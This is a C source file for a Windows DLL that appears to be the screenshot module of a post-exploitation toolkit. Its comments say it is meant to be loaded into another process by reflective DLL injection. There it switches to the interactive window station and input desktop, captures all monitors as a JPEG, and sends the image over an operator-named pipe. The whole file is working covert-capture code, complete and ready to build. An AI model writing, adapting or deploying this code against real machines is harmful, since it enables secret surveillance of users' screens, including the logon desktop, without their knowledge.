#include "screenshot.h"
#include "bmp2jpeg.h"
#include "common.h"

// define this as we are going to be injected via RDI
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR

// define this as we want to use our own DllMain function
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN

#define RDIDLL_NOEXPORT
#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"

/*
 * Send a buffer to a named pipe server.
 */
DWORD screenshot_send(char * cpNamedPipe, BYTE * pJpegBuffer, DWORD dwJpegSize)
{
	DWORD dwResult  = ERROR_ACCESS_DENIED;
	HANDLE hPipe    = NULL;
	DWORD dwWritten = 0;
	DWORD dwTotal   = 0;

	do
	{
		hPipe = CreateFileA(cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
		if (!hPipe)
			BREAK_ON_ERROR("[SCREENSHOT] screenshot_send. CreateFileA failed");

		if (!WriteFile(hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL))
			BREAK_ON_ERROR("[SCREENSHOT] screenshot_send. WriteFile JPEG length failed");

		if (!dwJpegSize || !pJpegBuffer)
			BREAK_WITH_ERROR("[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH);

		while(dwTotal < dwJpegSize)
		{
			if (!WriteFile(hPipe, (LPCVOID)(pJpegBuffer + dwTotal), (dwJpegSize - dwTotal), &dwWritten, NULL))
				break;
			dwTotal += dwWritten;
		}

		if (dwTotal != dwJpegSize)
			BREAK_WITH_ERROR("[SCREENSHOT] screenshot_send. dwTotal != dwJpegSize", ERROR_BAD_LENGTH);

		dwResult = ERROR_SUCCESS;

	} while(0);

	CLOSE_HANDLE(hPipe);

	return dwResult;
}

/*
 * Take a screenshot of this sessions default input desktop on WinSta0
 * and send it as a JPEG image to a named pipe.
 */
DWORD screenshot(int quality, DWORD dwPipeName)
{
	DWORD dwResult             = ERROR_ACCESS_DENIED;
	HWINSTA hWindowStation     = NULL;
	HWINSTA hOrigWindowStation = NULL;
	HDESK hInputDesktop        = NULL;
	HDESK hOrigDesktop         = NULL;
	HWND hDesktopWnd           = NULL;
	HDC hdc                    = NULL;
	HDC hmemdc                 = NULL;
	HBITMAP hbmp               = NULL;
	BYTE * pJpegBuffer         = NULL;
	OSVERSIONINFO os           = {0};
	char cNamedPipe[MAX_PATH]  = {0};
	// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
	int xmetric               = SM_CXVIRTUALSCREEN;
	int ymetric               = SM_CYVIRTUALSCREEN;
	int xposition             = SM_XVIRTUALSCREEN;
	int yposition             = SM_YVIRTUALSCREEN;
	DWORD dwJpegSize          = 0;
	int sx                    = 0;
	int sy                    = 0;
	int sxpos                 = 0;
	int sypos                 = 0;

	do
	{
		_snprintf_s(cNamedPipe, sizeof(cNamedPipe), MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName);

		os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

		if (!GetVersionEx(&os))
		{
			BREAK_ON_ERROR("[SCREENSHOT] screenshot: GetVersionEx failed")
		}

		// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
		if (os.dwMajorVersion <= 4)
		{
			xmetric = SM_CXSCREEN;
			ymetric = SM_CYSCREEN;
		}

		// open the WinSta0 as some services are attached to a different window station.
		hWindowStation = OpenWindowStationA("WinSta0", FALSE, WINSTA_ALL_ACCESS);
		if (!hWindowStation)
		{
			if (RevertToSelf())
			{
				hWindowStation = OpenWindowStationA("WinSta0", FALSE, WINSTA_ALL_ACCESS);
			}
		}

		// if we cant open the defaut input station we wont be able to take a screenshot
		if (!hWindowStation)
		{
			BREAK_WITH_ERROR("[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE);
		}

		// get the current process's window station so we can restore it later on.
		hOrigWindowStation = GetProcessWindowStation();

		// set the host process's window station to this sessions default input station we opened
		if (!SetProcessWindowStation(hWindowStation))
			BREAK_ON_ERROR("[SCREENSHOT] screenshot: SetProcessWindowStation failed");

		// grab a handle to the default input desktop (e.g. Default or WinLogon)
		hInputDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
		if (!hInputDesktop)
			BREAK_ON_ERROR("[SCREENSHOT] screenshot: OpenInputDesktop failed");

		// get the threads current desktop so we can restore it later on
		hOrigDesktop = GetThreadDesktop(GetCurrentThreadId());

		// set this threads desktop to that of this sessions default input desktop on WinSta0
		SetThreadDesktop(hInputDesktop);

		// and now we can grab a handle to this input desktop
		hDesktopWnd = GetDesktopWindow();

		// and get a DC from it so we can read its pixels!
		hdc = GetDC(hDesktopWnd);
		if (!hdc)
			BREAK_ON_ERROR("[SCREENSHOT] screenshot. GetDC failed");

		// back up this DC with a memory DC
		hmemdc = CreateCompatibleDC(hdc);
		if (!hmemdc)
			BREAK_ON_ERROR("[SCREENSHOT] screenshot. CreateCompatibleDC failed");

		// calculate the width and height
		sx = GetSystemMetrics(xmetric);
		sy = GetSystemMetrics(ymetric);

		// calculate the absolute virtual screen position
		// prevent breaking functionality on <= NT 4.0
		if (os.dwMajorVersion >= 4)
		{
			sxpos = GetSystemMetrics(SM_XVIRTUALSCREEN);
			sypos = GetSystemMetrics(SM_YVIRTUALSCREEN);
		}


		// and create a bitmap
		hbmp = CreateCompatibleBitmap(hdc, sx, sy);
		if (!hbmp)
			BREAK_ON_ERROR("[SCREENSHOT] screenshot. CreateCompatibleBitmap failed");

		// this bitmap is backed by the memory DC
		if (!SelectObject(hmemdc, hbmp))
			BREAK_ON_ERROR("[SCREENSHOT] screenshot. SelectObject failed");

		// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
		// screenshot all available monitors by default

		HMODULE user32 = NULL;
		if ((user32 = LoadLibraryA("user32")))
		{

			FARPROC SPDA = GetProcAddress(user32, "SetProcessDPIAware");
			if (SPDA)
			{
				SPDA();
			}
			FreeLibrary(user32);
		}
		if (!StretchBlt(hmemdc, 0, 0, sx, sy, hdc, sxpos, sypos, GetSystemMetrics(SM_CXVIRTUALSCREEN), GetSystemMetrics(SM_CYVIRTUALSCREEN), SRCCOPY))
			BREAK_ON_ERROR("[SCREENSHOT] screenshot. StretchBlt failed");

		// finally convert the BMP we just made into a JPEG...
		if (bmp2jpeg(hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize) != 1)
			BREAK_WITH_ERROR("[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE);

		// we have succeded
		dwResult = ERROR_SUCCESS;

	} while(0);

	// if we have successfully taken a screenshot we send it back via the named pipe
	// but if we have failed we send back a zero byte result to indicate this failure.
	if (dwResult == ERROR_SUCCESS)
		screenshot_send(cNamedPipe, pJpegBuffer, dwJpegSize);
	else
		screenshot_send(cNamedPipe, NULL, 0);

	if (hdc)
		ReleaseDC(hDesktopWnd, hdc);

	if (hmemdc)
		DeleteDC(hmemdc);

	if (hbmp)
		DeleteObject(hbmp);

	// free the jpeg images buffer
	if (pJpegBuffer)
		free(pJpegBuffer);

	// restore the origional process's window station
	if (hOrigWindowStation)
		SetProcessWindowStation(hOrigWindowStation);

	// restore the threads origional desktop
	if (hOrigDesktop)
		SetThreadDesktop(hOrigDesktop);

	// close the WinSta0 window station handle we opened
	if (hWindowStation)
		CloseWindowStation(hWindowStation);

	// close this last to avoid a handle leak...
	if (hInputDesktop)
		CloseDesktop(hInputDesktop);

	return dwResult;
}

/*
 * Grab a DWORD value out of the command line.
 * e.g. screenshot_command_dword("/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:") == 0x41414141
 */
DWORD screenshot_command_dword(char * cpCommandLine, char * cpCommand)
{
	char * cpString = NULL;
	DWORD dwResult  = 0;

	do
	{
		if (!cpCommandLine || !cpCommand)
			break;

		cpString = strstr(cpCommandLine, cpCommand);
		if (!cpString)
			break;

		cpString += strlen(cpCommand);

		dwResult = strtoul(cpString, NULL, 0);

	} while(0);

	return dwResult;
}

/*
 * Grab a int value out of the command line.
 * e.g. screenshot_command_int("/FOO:12345 /BAR:54321", "/FOO:") == 12345
 */
int screenshot_command_int(char * cpCommandLine, char * cpCommand)
{
	char * cpString = NULL;
	int iResult     = 0;

	do
	{
		if (!cpCommandLine || !cpCommand)
			break;

		cpString = strstr(cpCommandLine, cpCommand);
		if (!cpString)
			break;

		cpString += strlen(cpCommand);

		iResult = atoi(cpString);

	} while(0);

	return iResult;
}

/*
 * The real entrypoint for this app.
 */
VOID screenshot_main(char * cpCommandLine)
{
	DWORD dwResult = ERROR_INVALID_PARAMETER;

	do
	{
		dprintf("[SCREENSHOT] screenshot_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine);

		if (!cpCommandLine)
			break;

		if (strlen(cpCommandLine) == 0)
			break;

		dprintf("[SCREENSHOT] screenshot_main. lpCmdLine=%s", cpCommandLine);

		if (strstr(cpCommandLine, "/s"))
		{
			DWORD dwPipeName = 0;
			int quality      = 0;

			quality    = screenshot_command_int(cpCommandLine, "/q:");

			dwPipeName = screenshot_command_dword(cpCommandLine, "/p:");

			dwResult   = screenshot(quality, dwPipeName);
		}

	} while(0);

	dprintf("[SCREENSHOT] screenshot_main. ExitThread dwResult=%d", dwResult);

	ExitThread(dwResult);
}

/*
 * DLL entry point. If we have been injected via RDI, lpReserved will be our command line.
 */
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;

	switch (dwReason)
    {
		case DLL_PROCESS_ATTACH:
			hAppInstance = hInstance;
			if (lpReserved != NULL)
				screenshot_main((char *)lpReserved);
			break;
		case DLL_PROCESS_DETACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
            break;
    }

	return bReturnValue;
}

